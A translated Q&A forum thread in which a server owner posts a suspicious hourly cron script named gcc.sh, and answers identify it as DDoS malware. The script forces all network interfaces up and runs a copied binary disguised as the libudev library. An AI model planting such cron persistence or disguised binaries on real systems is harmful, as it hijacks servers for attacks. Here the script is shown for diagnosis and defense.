這個文件（gcc.sh）是否在cron.hourly惡意軟件中？

Question

我的服務器上遇到了高達1 Gbps的峰值，並且一直在尋找病毒和惡意軟件。 我在/etc/cron.hourly中找到了這個文件：gcc.sh，並且想知道是否有人看過類似的東西，並且會對代碼有所了解。 謝謝！

#!/bin/sh
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/binfor i in `cat /proc/net/dev|grep :|awk -F: {'print $1'}`; do ifconfig $i up& done
cp /lib/libudev.so /lib/libudev.so.6
/lib/libudev.so.6

Answer 1

很有可能。 它使用/lib/libudev.so.6作為可執行文件，而名稱暗示它應該是一個庫 - 嘗試使用像nm或objdump這樣的工具來查看它是否是可執行文件。 它從/lib/libudev.so復制到.so.6 - 而.so通常是版本化符號的符號鏈接。 它還運行for循環以顯示所有網絡連接，即使您已將其關閉。 它使用着名的編譯器的名稱來看起來合法。 我稱之為99％+可能是病毒。

找到另一個自稱為gcc的內容 - https://superuser.com/questions/863997/ddos-virus-infection-as-a-unix-service-on-a-debian-8-vm-webserver 。 是的，這是unix系統上的DDoS病毒，與您的問題完全匹配。

Answer 2

是的。

嘗試使用ps -ef | grep -i libudev.so.6查看程序使用的進程